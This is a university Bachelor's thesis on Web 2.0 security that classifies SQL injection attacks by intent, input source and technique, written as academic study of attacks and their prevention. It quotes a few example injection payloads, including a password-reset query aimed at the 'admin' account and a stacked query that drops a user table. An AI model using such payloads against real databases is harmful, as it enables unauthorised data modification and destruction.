New Web 2.0 Attacks, B.Sc. Thesis

Bachelor's Thesis

New Web 2.0 Attacks

in Partial Fulfillment of the Requirements for the Degree
Bachelor of Science

Presented to the
Department of Electrical Engineering and Information Sciences
of the Ruhr-University of Bochum

Chair of Network and Data Security
of the Ruhr-University of Bochum, Horst-Görtz Institute

Krassen Deltchev
e-mail: Krassen.Deltchev@rub.de

original version completed in 18. February 2010
(revised version: 22.07.2010)

First Examiner and Supervisor: Prof. Dr. Jörg Schwenk
Co-Supervisor: Dipl.Ing Florian Kohler
2nd Examiner: Prof. Dr.-Ing. York Tüchelmann

Thesis' License

Bachelor's Thesis
New Web 2.0 Attacks
Horst-Görtz Institute, Ruhr-University of Bochum
Universitätsstrasse 150, D-44780 Bochum, Germany
http://www.hgi.rub.de/hgi/news/

Krassen.Deltchev@rub.de , http://www.nds.rub.de/chair/theses/Web20/

If you like to request the original version of this thesis, please contact:
Krassen.Deltchev@rub.de , or nds@rub.de

This thesis is licensed under the Creative Commons
Attribution-NonCommercial-NoDerivs 3.0 Germany License,
http://creativecommons.org/licenses/by/3.0/legalcode

This license permits non-commercial use of this work, as long as attribution is given.
To view a copy of this license,
visit: http://creativecommons.org/licenses/by-nc-nd/3.0/de/deed.en
http://creativecommons.org/licenses/by-nc-nd/3.0/de/deed.de ,
or send an e-mail to : http://creativecommons.org/contact

Summary: You are free to Share — to copy, distribute and transmit the work;

Under the following conditions:
(i) Attribution — You must attribute the work in the manner specified by the author or licensor (but
not in any way that suggests that they endorse you or your use of the work).
(ii) Noncommercial — You may not use this work for commercial purposes.
(iii)No Derivative Works — You may not alter, transform, or build upon this work.

III

Affirmation

Affirmation

Hereby I declare that I have written this thesis by myself without any assistance from third parties
and have exclusively used the indicated literature and resources.

Bochum, 18.02.2010 K.Deltchev

V

Abstract

Abstract
The presented thesis in this paper is another discussion on the problem or problem-
complex: What is Web 2.0? How it works? Is it vulnerable to its security scope? How can
one utilize and share Web 2.0, knowing in this interactive collaboration, how to protect
himself?
In this bachelor work the reader will find history information, discussion on the evolu-
tion of the Web standards and most common Web 2.0 attacking classes. Two examples of
important Web 2.0 attacking vectors shall be discussed in depth, in such manner as an ana-
lysis and examples on the attacking techniques, deliberation on the trends in attack preven-
tion methods, discussion on the tools according to these.
This paper should give a good classification on the proposed examples of Web 2.0 at-
tacks, make a conclusion on behalf of the Life Cycle and security standards for the modern
Web 2.0 implementations, and perhaps offer some interesting proposals.

Keywords: Web 2.0, Web attacking vectors, Web Attacks' classification, SQL Injection,
CSRF, Best Practices, Web Application vulnerability scanner, Automated tools

VII

Acknowledgements

Acknowledgements
The author of this paper would like to thank for the support to:
Alexander Kornbrust
http://www.red-database-security.de/people/kornbrust.html

B. Sc. Dominik Birk
http://www.nds.rub.de/chair/people/dominik-birk/
http://www.code-foundation.de/

M. Sc. Felix Gröbert
http://groebert.org/felix/

The author of this paper would like to thank for the support, advices and excellent
teamwork to:
Dipl. Ing. Florian Kohler
http://www.nds.rub.de/chair/people/kohlar/

IX

Table of Contents

Table of Contents
Abstract...............................................................................................................................VII
Acknowledgements..............................................................................................................IX
1. Introduction........................................................................................................................1
1.1. What is Web 2.0?........................................................................................................1
1.2. Which are the Web 2.0 attacks?..................................................................................5
2. SQL Injection.....................................................................................................................9
2.1. Overview of the attacking vector................................................................................9
2.2. Attacking classification and techniques....................................................................10
2.2.1. SQL Injection attacking vector classification...................................................10
2.2.2. SQL Injection attacking techniques..................................................................19
2.3. SQL Injection prevention trends and methods.........................................................43
2.3.1. Best Practices ...................................................................................................43
2.3.2 Detection and Prevention Techniques................................................................48
2.4. Tools.........................................................................................................................53
2.4.1 Development tools.............................................................................................53
2.4.2. Auditing tools....................................................................................................54
2.4.3. Prevention tools................................................................................................57
2.4.4. Helper Tools......................................................................................................57
3. CSRF................................................................................................................................59
3.1. Overview of the attacking vector..............................................................................59
3.2. Attacking classification and techniques....................................................................60
3.3. CSRF prevention trends and methods......................................................................73
3.3.1 Server-Side protection ......................................................................................73
3.3.2 Client- Side protection.......................................................................................74
3.4. CSRF tools................................................................................................................76
3.4.1. Developer tools.................................................................................................76
3.4.2. Auditing tools....................................................................................................76
3.4.2.1. Server-Side implementations....................................................................76
3.4.2.2. Client-Side implementations.....................................................................77
3.4.3. Prevention Tools...............................................................................................78
3.4.3.1. Server-Side tools.......................................................................................78
3.4.3.2. Client-Side tools........................................................................................78
4. Final discussion and future work......................................................................................83
5. Conclusion........................................................................................................................85
A Appendix: References and abbreviations............................................................................I
A.1. References..................................................................................................................I
A.2. Abbreviations............................................................................................................V
B. Appendix: Source listings..............................................................................................VII
B.1. Oracle- VPD- 'Honey table'- implementation,
Alexander Kornbrust [L16]............................................................................................VII
B.2. Hacking CSRF tokens using CSS History Hack-
implementation, Jeremiah Grossman[L34].....................................................................IX
C. Appendix: Additional information.................................................................................XII
C.1. Classification of the Web 2.0 attacking vectors( OWASP)....................................XII
C.2. Injection Flaws OWASP Top 10 2010 RC1 general view.....................................XIII
C.3. CSRF OWASP Top 10 2010 RC1 general view....................................................XIII
Bibliography.......................................................................................................................XV

XI

Lists

List of Figures
Figure 1: Web 2.0 Meme Map, Tim O'Reilly [10].................................................................2
Figure 2: Methodology Used to Capture Web 2.0 Knowledge, Duane Nickull [11].............3
Figure 3: Web 2.0 Reference Architecture, Duane Nickull [11]............................................4
Figure 4: A Facebook application architecture vs. a normal web sever, [L38]....................70
Figure 5: Facebook CSRF, the anatomy of the full fledged attack, [L38]..........................71
Figure 6: OWASP Top 10 - 2010 vs. OWASP Top 10 - 2007, [20]....................................XII
Figure 7: Injection Flaws- general view, OWASP Top 10 2010, [20]..............................XIII
Figure 8: CSRF- general view , OWASP Top 10 2010, [20].............................................XIII

List of Tables
Table 1: '...sense of Web 2.0 by example', Tim O'Reilly........................................................1
Table 2: Web 2.0 Design Patterns, Duane Nickull [11]..........................................................3
Table 3: 'Top 10 Web 2.0 Attack vectors', Shreeraj Shah[17]................................................5
Table 4: Classification of the SQL Injection Web attacking vector.....................................18
Table 5: DBMS comments...................................................................................................21
Table 6: Compromising the DB version , see further [28]...................................................34
Table 7: DB Fingerprintig,[28].............................................................................................35
Table 8: DBMS produces error messages caused by
unclosed quotation mark( apostrophe),[28]..........................................................................36
Table 9: DBMS table hashing solution 1..............................................................................45
Table 10: DBMS table hashing solution 2............................................................................45
Table 11: Classification of the CSRF attacking vector.........................................................61

XV

1. Introduction

1. Introduction

1.1. What is Web 2.0?
Discussing the Web 2.0, we are talking not only about a software platform, but also about a stand-
ard, which relies on one hand on computer networks( WAN, MAN, LAN), on the other hand,
defines the concatenation and the resulted, complete context of the software related terms: usability,
simplicity, sociability, integration, outsourcing[1] and security[2].
Let's clarify the logical sense of these introducing words.
Technically, there is no Web 2.0 standard and there is no technical specification on the term: Web
2.0[3][4][L2].The terms, which are defined and standardized in a technical aspect, are the 'World
Wide Web- services' and the 'World Wide Web- standards' at W3C,please refer to [5][6][7][L1].
The interested reader, would find out more on the evolution of the World Wide Web( WWW) and
the 'Netscape era' at www.w3.org[8][9].
Further, the common internet end-user knows that nowadays the World Wide Web is more than :
personal homepages surfing, e-mailing and dynamic server-side techniques such as .asp( x), .cfm,
.do, .php[3].
In the late 2004 is registered the first formulation of Web 2.0.Afterwards, Tim O'Reilly speaks on a
conference on September 2005 regarding the obsolete Web 1.0 standard , which should be replaced
by the new and modern one- Web 2.0, see : ' What is Web 2.0? Design Patterns and Business Mod-
els for the Next Generation of Software'[10].
Let's show some aspects of this first formulation:
Web 1.0 Transition Web 2.0
DoubleClick → Google AdSense
Ofoto → Flickr
Britannica Online → Wikipedia
personal websites → blogging
domain name speculation → search engine optimization
screen scraping → web services
content management systems → wikis
publishing → participation
Table 1: '...sense of Web 2.0 by example', Tim O'Reilly
Following, let's show the first map of Web 2.0 as supposed in [10]:

1

1. Introduction

Figure 1: Web 2.0 Meme Map, Tim O'Reilly [10]

Everybody knows, makes discussions or has heard about: Google Mapps, YouTube, Myspace,
Facebook, Twitter, Digg etc. The main reason for discussing those brand names is, because they all
impersonate Web 2.0 services, which cover the definition tasks of Web 2.0 : better usability, ad-
equate sociability and integration, reasonable outsourcing.
Let's discuss Web 2.0 as a software platform and say a few words on its recent up-to-date stand-
ards and technologies.
As fundamentals for the Web 2.0 architecture are assumed the transitions defined by Tim O'Reilly
in [10], some of them are shown in Table 1( see above). For building up and extending Web 2.0,
there are Design Patterns1,specified like in [11], let's introduce the most important of them in the
next table:

1 http://en.wikipedia.org/wiki/Design_patterns

2

1. Introduction

Collaborative Tagging Rich User Experience ( a.k.a RIA3, knowing something about
( folksonomy)2 your users)
Synchronized Web Participation / Collaboration
( harnessing collective intelligence)
SOA4 Adaptive Software
SaaS, DaaS ( variations of SOA) Microformats ( a.k.a fine grained content accessibility)
[L18]
Persistant Rights Management Declarative Living / Tag guardening
Mashup5 Incremental Update( a.k.a. “ Automatic Particle Update”)
Table 2: Web 2.0 Design Patterns, Duane Nickull [11]
Further, let's illustrate the designing process from the abstract ideas[L6] to the concrete imple-
mentation as Web 2.0 applications, see the next Figure 2:

Figure 2: Methodology Used to Capture Web 2.0 Knowledge, Duane Nickull [11]

2 http://en.wikipedia.org/wiki/Folksonomy
3 Better known as Rich Internet Applications:
http://en.wikipedia.org/wiki/Rich_Internet_application
4 http://en.wikipedia.org/wiki/Service_oriented_architecture
5 http://en.wikipedia.org/wiki/Mashup_%28web_application_hybrid%29

3

1. Introduction

For more information on the trerms 'Knowledge Management'[L6], Patterns( Design Patterns),
SOA, please refer to [17].
In a technical aspect, the sophisticated evolution[12] of the Web software platform introduces some
new formulations of old and standard technologies for building web-based implementations.
An illustration of such can be found for example in the transitions from
JavaScript in to AJAX6, HTML 4 to HTML 57 and CSS to the future CSS Level 38[L3].
So let's show an overview of the current level of Web 2.0 as a software platform, well elucidated in
the next Figure 3, see further[11][13]:

Figure 3: Web 2.0 Reference Architecture, Duane Nickull [11]

The motivation to meet the needs not only of the internet end-user, but on commercial level too, in
the best way, provokes this sophisticated and complex software architecture not to lose the dynam-
ics in its development and to be always innovative. Though, such requirements bring up also secur-
ity flaws, daily exploits and the growing interest of intruders[14][15][16][17].We reach the point in

6 http://de.wikipedia.org/wiki/Ajax_%28Programmierung%29
7 http://de.wikipedia.org/wiki/HTML5
8 http://de.wikipedia.org/wiki/Cascading_Style_Sheets

4

1. Introduction

our discussion9 to explain the objectives of this paper.

1.2. Which are the Web 2.0 attacks?
Let's focus our discussion on the last term of the Web 2.0 definition, given at the beginning of
Chapter 1 in this paper: the security, and do a general classification of the Web 2.0 attacking vec-
tors.
There are very few attacks, whose motivation and prerequirements is the existence of the recent
Web 2.0 standard, such examples are given in [17][18][19], so let's introduce some of them in the
following Table 3:
Cross-site scripting in AJAX XML poisoning
Malicious AJAX code execution RSS / Atom injection
WSDL scanning and enumeration Client side validation in AJAX routines
Web services routing issues Parameter manipulation with SOAP
XPATH injection in SOAP message RIA thick client binary manipulation
Table 3: 'Top 10 Web 2.0 Attack vectors', Shreeraj Shah[17]

In disagreement with the suitable classification given by Shreeraj Shah in [17], these attacks
should be rather ranged as important subclasses, belonging to existing Web attacking vectors. More
over we shall consider the fact, that most of the recent and top vulnerabilities on the Web 2.0 plat-
form, are well known security exposures for a matter of a decade, like SQL Injection, XSS,
DoS( DDoS), Insufficient/ Broken Authentication, Insecure Storage/ Encryption of Data etc.
So why shall we consider them as 'New Web 2.0 Attacks'?
Let's do an upshot on what is discussed so far:
• there is no technical related term as Web 2.0, this is just a formulation of the current state of
the Web software platform
• Web 2.0 is represented by a complex and sophisticated software architecture, which experi-
ences vast development and recurrent pursuit of innovations
• modern attacks evoked by modern software technologies like AJAX, SOAP, RSS/ Atom,
RIA etc. cannot be considered as new classes of Web attacks, because of the small range of
their attacking scope, but more over as essential subclasses of existing Web attacking vec-
tors.

9 We shall recognize the usage of the term ' discussion' in this paper, without humiliating the presentation's technique :
proposed thesis-> related argument(s), in the explanation part of this bachelor work.

5

1. Introduction

This leads us to the conclusion, that the existent attacking vectors on the Web platform are also ex-
periencing their own development and they are being extended by subclasses, evoked by flaws and
exploits in new software technologies, or new implementations of existing ones applied to the Web
software architecture.
The question about discussing new Web 2.0 attacks, can be substantiated into discussing current
attacking vectors on the Web platform, which are and will be from great importance regarding the
security hardening of Web software architecture and its implementations.
So, let's make an assumption in this paper and call the Web platform in its current stage of devel-
opment as software architecture in a word as Web 2.0.
Before delivering the objectives of this paper, let's present some of the most important organiza-
tions and projects, classifying the current Web attacking vectors and predicting the tendencies and
new trends in the Web security:
• OWASP10, the free and open application security community
• WASC11, Web Application Security Consortium
• WHID12, The Web Hacking Incident Database[L5]
• Secure Enterprise 2.0 Forum13
• Breach Security, Inc14
The scope of this paper does not allow to provide an extended discussion on every single class of
Web attacking vectors, see a brief presentation in Appendix C, C1; the interested reader should con-
sider to study the following annual reports[20][21][22][23][24][L17] for this purpose.
Now, let's focus on the objectives of this bachelor work. This paper presents a discussion on the
current and modern Web 2.0 attack classes. As an example, two of the most important Web attack-
ing vectors: SQL Injection( SQLIA) and Cross Site Reference( or Request) Forgery ( CSRF or
XSRF) shall be examined. The two classes are chosen wisely, as they are antagonistic in the tech-
nical aspect of their implementations. The SQL Injection attacking vector is a typical representative
of the command line class of Web 2.0 attacks, on the contrary of this, the CSRF represents the 'Con-
fused Deputy15' Web attacking vector, regarding this class of attacks, please refer to Chapter 3. By
this means, the bachelor work shall cover not only technical aspects of the modern Web 2.0 attacks,
but also the human aspect, which is related to the Web 2.0 by definition. This shall extend and
10 http://www.owasp.org
11 http://www.webappsec.org/
12 http://www.xiom.com/whid , http://www.xiom.com/whid-list/all/2009 ,see further [L4]
13 http://secure-enterprise20.org/
14 http://www.breach.com, http://www.breach.com/resources/whitepapers/index.html
15 For more on the term 'Confused Deputy', please refer to Chapter 3

6

1. Introduction

generalize the scope of the discussed attacks in this paper as well, on behalf of minimal amount
of examples.
Let's talk about the structure of this paper.
Chapter 2 describes the SQL Injection as a class of Web 2.0 attacking vectors.
The reader will find general information regarding the attack, followed by a complete16 discus-
sion on the attacking techniques in this attacking vector. In a separate section are discussed the pre-
vention methods and trends concerning the SQL Injection attacks. In the last section of this chapter
will be represented the related tools referring to this class of attacks.
In Chapter 3 the discussion will proceed in an analogue manner on the CSRF- Attacks.
Chapter 4 will summarize the results from the explanation part, see chapters 2 and 3, and discuss
further works on the problems mentioned in this paper's thesis; and give also proposals related to
the discussed problems in this bachelor work.
Chapter 5 represents the conclusion part of the paper.
In the Appendix the reader will find:
• references on the tools discussed in the paper and supporting internet links[internet articles,
blogs, forum discussions],
• code samples of tools and SQL Injection/ CSRF attack examples ,
• some additional figures, extending the illustration of the discussed( see Chapter 2 and
Chapter 3) attacking vectors.

16 We shall consider the term 'complete' as 'concluded' up to the current temporal momentum of the paper's production
state.

7

2. SQL Injection

2. SQL Injection

2.1. Overview of the attacking vector
Speaking on 'SQL Injection' , we already mark the environment for these attacks: relational data-
bases17, using the SQL18 language.
What makes such relational Databases, or better to say: the operation with such Relational Data-
base Management Systems( RDBMS), so important and interesting?
Let's give some significant examples:
• Wikipedia uses SQL Databases for storage and management[L10],
• Facebook uses SQL databases for account storage and account management[L11],
• Mozilla Firefox Web-browser uses SQLite for browser-history storage purposes [L12],
• eBay uses Oracle for storage and management of its 1.4 Petabytes of information[L13],
• Amazon even offers its own Relational Database service [L14],
• Google uses its own developed DBMS- BigTable, for operating in Petabyte information
range [L15].
Nowadays it is a standard procedure to use and utilize DBMS for information storage and man-
agement purposes, solving small up to middle-weight problems of such manner using SQLite or
MySQL[L19] and for the sophisticated tasks deploying PostgreSQL[22], MSSQL[L20] or
Oracle[L21].
Thus, we answer the first half of the question, regarding the importance of the usage of relational
Databases, let's explain, what makes the DBMS interesting?
As the scope of this paper is a discussion over security issues, let's repeat the already mentioned
thesis: if there is a complex and dynamically growing system, there is always an interest of the in-
truder to find exploits and security flaws supporting its development process.
We shall mention that SQL Injection is a Nr. 1 Web attacking vector according to the OWASP Top
Ten Project 2010, see [20].
Another interesting fact is that a query at YouTube on the term 'SQL Injection' gives about 700
responses19.
Let's focus on the technical schema of the SQL Injection attack's execution. It follows a simple
rule: intruders' know-how vs. the developers'/administrators' know-how. Still, the implementation of
17 http://en.wikipedia.org/wiki/Relational_database_management_system
18 http://en.wikipedia.org/wiki/Sql
19 This query is made in January 2010.

9

2. SQL Injection

the attacking techniques is complex and it proposes difficulties in the attacks' prevention, which in
some cases is rather not a simple task.
The SQL Injection Attack is mentioned for the first time in December 1998[25].It starts as a Web
Attack on the Windows IIS 4.0 Server. Nowadays there is no exceptional SQL Server, which is
completely, nor effectively hardened against SQL Injection flaws and attacks.
Let's continue our discussion with the section, giving a complete classification of the SQL Injec-
tion as a Web 2.0 attacking vector and explaining some of the most interesting and important at-
tack's execution techniques.

2.2. Attacking classification and techniques

Let's first introduce a classification of the SQLIA attackers' profiles, note that this classification is
not complete, see [26]:
• Curious DBA or Employee • Leaving employee
• DBA covering its own faults • External hacker
• Criminal employee • Intelligence agency

2.2.1. SQL Injection attacking vector classification

Let's introduce the class hierarchy of the attacking vectors as a logical construct and the class
hierarchy notation related to this paper.
We describe in this bachelor's thesis two Web 2.0 attacking vectors: SQL Injection and Cross Site
Request Forgery; both of the attacking vectors represent classes in the Web 2.0 attacking vector
hierarchy. Every class of attacks has its own subclasses, which describe different aspects: technical,
motivational or source related, of the particular attacking vector we intend to describe. If the attack-
ing vector's subclass is complex as a construct and requires to be extended in the attack's classifica-
tion, we shall define a further level in the class hierarchy: a sub-subclass, sub2class of the SQLIA
vector for an instance; or a sub-subsubclass, a sub3class of the CSRF attacking vector for example.
There are three parameters, which we shall generally classify the SQL Injection attacks into,
as [27], the classification given by Halfond et al., in 2006:

10

2. SQL Injection

• Attack's intent
• Attacks' Input Source
• Type of the attack, or technical attacks' classification
The main reason for selecting this attacking class hierarchy among all four observed SQLIA classi-
fications, presented in [27][28][29] and [26] is, the well defined hierarchically construct and the
precise definition of the different SQL Injection attack's aspects. In this paper we shall update and
extend this classification to meet the current state of the SQLIA development as a Web attacking
vector.
In some cases, where it is suitable, we shall enhance the examples regarding different attacking
scenarios on behalf of the other class hierarchies defined in [28][29] and [26].
Speaking more on the attack's intent, see [27] we shall distinguish the following intruders' motiva-
tions for taking the attack in action:
• Extracting data
• Adding or Modifying data
• Performing Denial of Service
• Bypassing authentication
• Executing remote commands
Let's introduce the separate intention's aspects briefly.

Extracting Data

We have already described the importance of the utilization of DBMS systems on modern Web Ap-
plications and gave some significant examples. We can also proceed in this way of thoughts and
consider the fact that nowadays storage of information depends on Relational Database Manage-
ment Systems. Intruders are also aware of that fact. In many cases Web Applications are designed to
gather input information from all over the world and store it in DBMSes, though to allow Data ma-
nipulation only for restricted personnel. On the one hand this fact intuitively explains the attackers'
interest to compromise such systems, on another it elucidates the fact, concerning the complexity
aspects of the attacking scenario's development and deployment. We shall demonstrate further in the
explanation part of this paper, which are the techniques allowing data extraction from a comprom-
ised system.
Let's designate the SQLIA approaches concerning such intent: Tautologies, Illegal/Logically Incor-

11

2. SQL Injection

rect Queries, UNION Query, Piggy-Backed Queries, Inference SQLIA.

Adding or Modifying Data

There are particular SQL statements concerning data modification: DROP, TRUNCATE, DELETE,
UPDATE and INSERT. Knowing this fact the intruder tries to utilize it. The attacker is not, or not
only interested in Data Extraction, moreover to speculate with stored data on Web Applications and
observe the consequences of the applied manipulation scenario. Attacking techniques related to
such an intent are: Piggy-Backed Queries.
Note that there are other SQL Injections suitable to support the mentioned attacking technique
above, please consider further reading.

Performing Denial of Service

Such DoS attacks are DBMS dependent and further according to the SQL Server load or amount of
the stored data, they could be adapted to achieve optimal results.
They can differ in their impact- from Server overload to System shutdown.
The intruder performs query requests to the victim's SQL Server, whose statements' evaluation
forces the compromised DBMS to get into DoS state.
SQLIA techniques concerning this topic area are: Inference SQL Injection attacks, see Timing At-
tacks and especially Benchmark attacks; Stored Procedures SQL Injection attacks. Note that sup-
portive injection methods are Stacked Queries, Alternate Encodings and UNION Queries as well.

Bypassing Authentication

This is a classic SQLIA Intent example. The intruder is interested in deploying further SQL Injec -
tion intents as data extraction, or data modification or a DoS, though to achieve this goal, the re-
quirement is a successful login on the Web Application and particular its backend the SQL Server. If
there is information leakage regarding a legal user to the DBMS system, this simplifies the task to
proceed with accomplishing the complete attacking scenario. Though there are cases related to
DBMSes, which apply greater users' restriction like PostgreSQL, see further, and the task of By-
passing Authentication converts to Bypassing Admin Authentication for an instance.

12

2. SQL Injection

SQL Injection attacks related to such an intent are the Tautologies SQLIA, UNION Query. Support-
ive techniques represent Inference SQLIA, Illegal/Logically Incorrect Queries and Alternate Encod-
ings as well.

Executing Remote Commands

As already proposed, nowadays the Web 2.0 Platform provides diversity in the Web Applications,
which should meet the needs of the modern internet user, and motivation for growing complexity in
the software implementations. DBMS products try to cover such aspects, providing sophisticated
and precise functions solving such tasks. Though such a tough competition explains also the fact
that the Software implementations are still error prone and they will be, see [28]. Such security
leaks are from great interest for the intruder, which furthermore can allow the exploitation not only
of the compromised DBMS, but also of the integrated Operating System to it. Important topics here
are user rights exploitation, compromising the usage of particular DBMS stored procedures and
functions.
SQLIA representative therefore are: Stored Procedures SQL Injection attacks, Piggy-Backed Quer-
ies and respectively supportive attacking approaches represent the Tautologies, Illegal/Logically In-
correct Queries,Inference SQLIA, UNION Queries, Stacked Queries, Alternate Encodings, Com-
pounded SQLIA.
Let's represent the attack's 'input source' parameter, as proposed in [27]:
• Injection through user input
• Malicious strings in Web forms
• Malicious strings in URLs
• Injection through cookies
• Modified cookie fields containing injection strings
• Injection through server variables
• Headers are manipulated to contain attack strings.
• Second-order Injection
• Frequency-based Primary Application
• Frequency-based Secondary Application
• Secondary Support Application
• Cascaded Submission Application
Let's discuss this categorization more detailed.

13

2. SQL Injection

Injection through User Input

It is important here to clarify the fact, that discussing Web Applications, Web Application Security,
Web 2.0 Attacks20, we are discussing software problems, concerning software implementations and
standards related to the HTTP protocol regarding Application Layer 7 in the ISO/OSI standard,
see [30][31]. There are other supportive protocols as : FTP, HTTP NG, MUX, WebMUX etc.,
though the main interface and also environment concerning the Web Software Platform and Prob-
lems is represented by the stateless Hypertext Transfer Protocol21. Concerning the related Cli-
ent-Server Model there are two ways to apply user input to the server, as already known using GET
or POST HTTP requests.
Commonly, they are the most widely compromised input sources related to SQL Injection attacks
and to other Web 2.0 attacking vectors, fee further explanations and examples.
Web applications are designed to handle such user inputs in the same manner as operating with
any other common variables, constants and parameters, declared in the source of the Web Software
Application.
The intruders are aware of this fact and exploit such sources as further explained in the paper.

Injection Through Cookies

As already known, HTTP Cookie22 is a technique to apply state information for internet activity
on behalf of the stateless HTTP Application Protocol, to extend its functionality.
Technically the cookies( we shall use this form, meaning HTTP Cookie further in this paper) are
implemented as files, concerning state information, generated by the Web Application/ Server and
stored on the Client Machines of the Internet Users, involved to interact in the Client-Server Model.
The Client Application, inducing HTTP communication, typically the Client Web Browser, has con-
trol over the cookie and if not explicit restricted utilizes this technique. This represent another input
source, particular concerning the Client Side of the Web Communication. Furthermore, if a specific
Web application utilizes the cookie content, concerning deployment of SQL query tasks important

20 SQLIA should not be considered as pure Web-Application attack, HTTP is not a pre-requirement for successful
execution of the attack, though we are concentrating in this thesis only on the SQLIA as a Web 2.0 attacking vector;
for examples on SLQLIA scenarios different than Web-Attacks, please refer to [26]
21 http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol
22 http://en.wikipedia.org/wiki/HTTP_cookie

14

2. SQL Injection

for its DBMS functionality, the attacker can exploit this and follow another effective way to com-
promise the Web Application.

Injection through Server Variable

It is very important to explain here the meaning of the term Server variables.
Server variables represent set of system variables concerning HTTP, network headers and envir-
onmental variables as well. Such variables typically concern: procedures, applying to logging usage
statistics and to identifying Client Browser( we shall use further just 'browser' in the paper) trends.
Keeping in mind that, they represent system variables- mostly used for statistical purposes,
which speaks for the usage of these variables- utilisation in all likelihood, is straight-forward ex-
ploited by the intruder; furthermore, as a consequence to this fact, the lack of appropriate sanitiza-
tion techniques applied to the server variables, make the attacker's task to compromise the Web Ap-
plication/ DBMS even easier.
One attacking scenario to achieve this is to forge the HTTP, or Network headers and to inject
SQLIA directly into them. As the forged header is saved as variable value and later evaluated by a
system SQL query the attack consequently will be implemented as well.

Second-Order Injection

The heretofore described Input Source Injection mechanisms represent First-Order SQL Injection
approaches. This means that there are no additional layer, between the layer presenting the applying
of the specific SQLIA, or complex of SQLIA techniques and the layer concerning the injection exe-
cution and system compromising. Note that Timing SQLIA do not represent explicit Second-Order
Injection attacks, moreover they could be used as supportive attacking methods.
Let's describe the Second-Order Injection attacks in detail.
The injected code is applied to the compromised DBMS to be executed indirectly later on. The at-
tacker does not intent to induce an immediate SQLIA. Instead of that, the attacker uses the fact that
the compromised system follows specific execution scenario, that's why the intruder utilizes such
attacking technique, because of the knowledge that the system will trigger subsequent the execution
of the injected code singularly in all likelihood.
As in [32] proposed we can represent the following Second-Order Injection attacks' categorization.

15

2. SQL Injection

Frequency-based Primary Application

Such Second-Order Injection attacks concern Web Applications utilized for statistical purposes,
as collecting and representing top search sites or searched items on the internet for an instance.

Frequency-based Secondary Applications

These attacks try to compromise Web Applications utilized for gathering information and repres-
enting a statistical information tool. Unlike the previous one, these applications do not need to im-
plement explicit the injected code, moreover they act as submission applications to already com-
promised one. Such submission applications are related to task like reviewing web-requests or eval-
uating error logs in statistical aspects, like reviewing the best browser or reviewing the best HIPS
tool etc.
Note that these Second-Order Injection affect mostly system administrators.

Secondary Support Applications

This Second-Order Injection attacks apply to help-desks and phone support Web Applications.
These Applications collect and evaluate data from primary applications trusting their input data to
be already secured and sanitized. Intruders exploit this input source as well. Mostly affected are in-
ternal users related to the compromised Web Application.

Cascaded Submission Applications

The main injection prone input source here are applications, which evaluate multiple client sub-
missions within a single processing statement, as Web maps or localization services applications.
Frequently the SQL injection applies to compromised search request, as these should be processed
later on by the DBMS system, which represents a backend for the Web service application.
An interesting example is proposed by Rafal Los23 in ( page 31, [33]).
Now let's illustrate this on another example proposed in [27], concerning users' registration Web
page, follows the SQL command sample for password renewal:

23 HP security strategist, http://preachsecurity.blogspot.com/

16

2. SQL Injection

queryString=”UPDATE users SET pwd=' “ +newpwd + “WHERE uName=' ” + uName + “ ' AND
pwd=' ” + oldpwd + “ ' ”

Compromising this, the intruder can achieve exploiting the command as follows:
UPDATE users SET pwd='newpwd' WHERE uName='admin'--' AND pwd='oldpwd'

Please, consider further reading for understanding the syntax usage and implementation.
The reader concerned can find more detailed information on this topic at [32].
Finally, let's classify the SQL Injection attacks on the technical aspect, see also [27]:
• Classic SQL Injection
• Piggy-backed Queries
• Tautologies
• Alternate Encodings
• Inference
• Illegal/Logically Incorrect Queries
• UNION SQL Injection
• Stored Procedures
• Out-Of-Band Channeling
• Inference SQLIA
• Classic Inference SQL Injection
• Conditional Responses
• Conditional Errors
• Blind SQLIA or Timing Attacks
• Double Blind SQL Injection( Benchmark/ Time-delay attacks)
• Deep Blind SQL Injection( Multiple statements SQLIA)
• DBMS specific SQLIA
• DB Fingerprinting
• DB Mapping
• Compounded SQLIA
• Fast-Fluxing SQLIA
We shall illustrate and rebuild this specification in the following Table 4:

17

2. SQL Injection

Classification Methods Techniques/
parameters Implementation
Identifying injectable
parameters
Extracting Data
see 'Input type of attacks'
Intent Adding or Modifying Data
Performing Denial of Service
Evading detection
Bypassing Authentication
Executing remote commands
Performing privilege escalation
Injection through user input Malicious URL: GET- Method
strings in Web
Input filed(s): POST- Method
forms
Input Source
Injection through cookies Modified cookie fields containing SQLIA
Injection through server Headers are manipulated to contain SQLIA
variables
Second-order injection Frequency-based Primary Application
Frequency-based Secondary Application
Secondary Support Application
Cascaded Submission Application
Piggy-Backed Queries
Tautologies
Classic SQLIA
Alternate Encodings
Illegal/ Logically Incorrect Queries
UNION SQLIA
Input type of attacks, Stored Procedures SQLIA
technical aspect
Out-Of-Band SQLIA Out-Of-Band Channeling
Conditional Responses
Classic Inference
Conditional Errors
SQLIA
Inference
Double Blind SQLIA(Time-
Blind SQLIA or delays/ Benchmark attacks)
Timing
Deep Blind SQLIA (
SQLIA
Multiple statements SQLIA)
DBMS specific SQLIA DB Fingerprinting
DB Mapping
Compounded SQLIA Fast-Fluxing SQLIA

Table 4: Classification of the SQL Injection Web attacking vector
Let's represent the given extended specification on behalf of couple interesting examples.

18

2. SQL Injection

2.2.2. SQL Injection attacking techniques

Before starting with a couple of examples, let's clarify the presentation scenario. We shall discuss
predominately SQLIA on the technical aspect, if there are interesting points to the 'input source' sec-
tion of the SQLIA classification, or the 'intent' section, we shall give an extra hint at it. In this way
of thoughts we shall use the attacks presentation manner as in [34] already proposed:
• Name of SQLIA
• attack's intent
• attack's description
• attack's examples
• attack's reference

Classic SQLIA( Inband Attacks)
Piggy-backed Queries

Such attacks, concern attacker's motivation as: users' data extraction, adding and modifying user's
data, DoS attacks, executing remote commands.
The name of these SQLIA, adopted from the security term- Piggybacking24, contains the essential
concept for this attacks' scenario:
The SQL Injection uses the security flaw, that the SQL server( DBMS) allows strung together quer-
ies25, see example [35]:
SELECT info FROM user Table WHERE login=’’
; DROP TABLE userTable --’ AND pass=’’ AND pin=

The reader will notice in recent literature another description name concerning this SQL Injection
attacks: Stacked Queries, or sometimes Batched Queries. This SQLIA is DBMS specific, which
means that the execution and exploitation of such attacks is DBMS dependent. For further examples
and extending this topic, please, refer to DB Mapping SQLIA.

24 http://en.wikipedia.org/wiki/Piggybacking_%28security%29
25 http://en.wikipedia.org/wiki/Sql

19

2. SQL Injection

Tautologies

Main motivations, considering the deployment of such attacks are: bypassing authentication, data
extraction and identifying injectable parameters in Web Applications.
